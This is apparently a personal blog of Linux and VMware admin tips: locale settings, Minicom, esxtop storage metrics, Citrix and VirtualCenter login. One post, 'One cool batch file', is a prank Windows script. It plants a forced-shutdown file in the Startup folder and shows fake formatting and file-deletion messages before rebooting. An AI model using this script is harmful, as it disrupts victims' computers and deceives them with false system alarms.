Change the Evolution smtp port number

When you want to send your mail with Evolution over a different port than 25 try this.

Click on Edit -> Preferences -> Double click on your mail account -> Click on Sending Email tab -> Then for your host: all you need to do is add the port number to the end like this my.server.com:587

Furius ISO Mount Tool

I wanted to mount a ISO file in Ubuntu 10.04

Just installed Furius ISO Mount Tool

sudo apt-get install furiusisomount

Fine tune the Local Settings of Ubuntu

I like my installation in English. Most of the solution you’ll find on the internet are in English.

So I installed my laptop with Ubuntu 10.04 ( Lucid Lynx ) in English.
One of the first things that annoys me is the clock. It shows the time in Am / Pm format.
Date, time and currency are in US style.

To change this, just manually edit /etc/environment
This is mine

PATH=”/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games”
LANG=”en_US.UTF-8″
LANGUAGE=”en_US:en”

LC_CTYPE=”nl_NL.UTF-8″
LC_COLLATE=”nl_NL.UTF-8″
LC_TIME=”nl_NL.UTF-8″
LC_NUMERIC=”nl_NL.UTF-8″
LC_MONETARY=”nl_NL.UTF-8″
LC_MESSAGES=”en_US.UTF-8″
LC_PAPER=”nl_NL.UTF-8″
LC_NAME=”nl_NL.UTF-8″
LC_ADDRESS=”nl_NL.UTF-8″
LC_TELEPHONE=”nl_NL.UTF-8″
LC_MEASUREMENT=”nl_NL.UTF-8″
LC_IDENTIFICATION=”nl_NL.UTF-8″

Move window title bar buttons back to the right

In Ubuntu 10.04 LTS ( Lucid Lynx ) the buttons in the window title bar ( maximize, minimize and close ) are moved to the left.
If you don’t like this you can easily change it back to the right.

  1. Install Ubuntu Tweak from : http://ubuntu-tweak.com/
  2. Run it and go to Window Manager settings
  3. Under window titlebar button layout, de-select custom and choose right.

Done

Scan a subnet for active IPs

With NMap it is quite easy to scan a subnet for active IPs.

$ nmap -sP 192.168.10.0/24

Install and setup Minicom

Minicom is the hyperterminal for Linux.

Minicom is by default not installed.

  1. Install Minicom with the following command

    sudo apt-get install minicom

  2. Find your serial port

    dmesg | grep tty

    $ dmesg | grep tty
    [    0.001251] console [tty0] enabled
    [   72.953237] usb 6-1: pl2303 converter now attached to ttyUSB0

    I use a USB serial port, my laptop doesn’t have a build in serial port.
    So the name of the serial port is ttyUSB0.

  3. Configure Minicom

    sudo minicom -s

    • Select “Serial Port setup”
    • Enter A to change the selected serial port, in my case change to /dev/ttyUSB0
    • Enter E to change the line speed to 9600 8N1
    • Select “Save setup as dfl”
  4. Exit Minicom
  5. Start Minicom with

    sudo minicom

And you are  good to go.

Using esxtop to identify storage performance issues

The esxtop utility can be used to measure how much I/O is moving across various devices. The esxtop utility is interactive. As such, pressing certain keys changes the view.

Configuring monitoring using esxtop

To monitor storage performance per HBA:

  1. Start esxtop by typing esxtop at the command line.
  2. Press d to switch to disk view (HBA mode).
  3. Press f to modify the fields that are displayed.
  4. Press b, c, d, e, h, and j to toggle the fields and press Enter.
  5. Press s, then 2 to alter the update time to every 2 seconds and press Enter.
  6. See Analyzing esxtop columns for a description of relevant columns.

To monitor storage performance per LUN:

Note: This option is only available in ESX 3.5 and later.

  1. Start esxtop by typing esxtop from the command line.
  2. Press u to switch to disk view (LUN mode).
  3. Press f to modify the fields that are displayed.
  4. Press b, c, f, and h to toggle the fields and press Enter.
  5. Press s, then 2 to alter the update time to every 2 seconds and press Enter.
  6. See Analyzing esxtop columns for a description of relevant columns.

To monitor storage performance per virtual machine:

Note: This option is only available in ESX 3.5 and later.

  1. Start esxtop by typing esxtop at the command line.
  2. Type v to switch to disk view (virtual machine mode).
  3. Press f to modify the fields that are displayed.
  4. Press b, d, e, h, and j to toggle the fields and press Enter.
  5. Press s, then 2 to alter the update time to every 2 seconds and press Enter.
  6. See Analyzing esxtop columns for a description of relevant columns.

Analyzing esxtop columns

The following table lists the relevant columns and a brief description of these values.

Column Description
CMDS/s This is the number of IOPS (Input/Output Operations Per Second) being sent to or coming from the device or virtual machine being monitored
DAVG/cmd This is the average response time in milliseconds per command being sent to the device
KAVG/cmd This is the amount of time the command spends in the VMkernel
GAVG/cmd This is the response time as it is perceived by the guest operating system. This number is calculated with the formula: DAVG + KAVG = GAVG

These columns are for both reads and writes, whereas xAVG/rd is for reads and xAVG/wr is for writes. The combined value of these columns is the best way to monitor performance, but high read or write response time it may indicate that the read or write cache is disabled on the array.   All arrays perform differently, but DAVG/cmd, KAVG/cmd, and GAVG/cmd should not exceed than 10 milliseconds (ms). These values should not exceed 20/30 ms for a sustained period of time.

Note: ESX 3.0.x cannot monitor individual LUNs or virtual machines. Many inactive LUNS on the HBA can lower the average of DAVG/cmd, KAVG/cmd, and GAVG/cmd.    These values are also visible from the VirtualCenter performance charts. For more information, see Performance Charts in the Basic System Administration Guide.   If you experience high latency times, look at the switches (either FC or TCP) and the SAN for errors that may indicate a delay in commands being sent to and acknowledged from the SAN. This includes the array’s ability to process IO’s from a spindle count aspect, or the array’s ability to handle the load being presented to it.   If the response time goes over 5000 ms (or 5 seconds), SCSI aborts occur in the logs. If a command is sent to an array and is not acknowledged within 5000 ms, the command is aborted. Abort messages and other SCSI errors can be seen on the following logs:

  • ESX – /var/log/vmkernel
  • ESXi – /var/log/messages

The type of logs you see on those files depend on your Advanced Options SCSI.Log* or SCSI.Print*. You can find the value of these options in Host > Configuration > Advanced Settings > SCSI > SCSI.Log* or SCSI.Print*.

Source : http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1008205

Installing Citrix Client on Ubuntu 9.10

Install OpenMotif

sudo aptitude install libmotif3

Unfortunately, Ubuntu only provide the obsolete libmotif3 version and the not the current version 4 that the receiver is built against.
The easiest solution is to install libmotif3 and then run

sudo ln -s /usr/lib/libXm.so.3.0.2 /usr/lib/libXm.so.4

Download the latest Citrix Client from:
http://citrix.com/English/ss/downloads/
Search Downloads by Product > Citrix Xenapp > Linux Client
Select:
Version 11.0 English German Japanese 3/2/09 2.1 mb .deb
x86 client – requires OpenMotif v.2.3.1
Install the .deb with GDebi.

Done

One cool batch file – ;-D

@echo off
echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat
copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\”
cls
echo Maximize this window to continue
echo Wscript.Sleep 4000 > C:\sleep1.vbs
call C:\sleep1.vbs
echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs
call c:\error1.vbs
echo Formatting c: drive…
echo Wscript.Sleep 2000 > C:\sleep2.vbs
call C:\sleep1.vbs
echo The following files were are infected and should be deleted immediately
call C:\sleep1.vbs
dir /s C:\*.exe
dir C:
call C:\sleep1.vbs
cls
echo Deleting files 36 percent complete
call C:\sleep2.vbs
echo Deleting files 79 percent complete
call C:\sleep2.vbs
echo Deleting files 100 percent complete
call C:\sleep2.vbs
echo Files successfully deleted
call C:\sleep1.vbs
cls
echo All files in the windows registry were also deleted
echo A full reinstall is required to continue using windows
call C:\sleep2.vbs
echo Msgbox”Windows is not responding, shutting down” > c:\error2.vbs
call C:\error2.vbs
call C:\sleep2.vbs
echo Msgbox”Applications will automatically closed, all unsaved data will be lost” > C:\error3.vbs
call C:\error3.vbs
cls
ECHO

ECHO ————————————————————————–
call C:\sleep1.vbs
shutdown -r -t 5

VirtualCenter Passthrough Authentication

Tired of login in into the Virtual Center Client?  Try this…

A very useful, yet very undocumented feature of the Virtual Infrastructure Client is that it can be configured to automatically pass your Active Directory credentials without you typing them in. To use: create a shortcut to the Virtual Infrastructure Client, then right-click on it and edit the shortcut properties. You’ll need to pass the program two arguments when calling it like so:

C:\Program Files\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe” -passthroughAuth -s vc.yourdomain.com

Where “vc.yourdomain.com” is replaced with the DNS name for your VirtualCenter server.

Subscribe to RSS Feed Follow me on Twitter!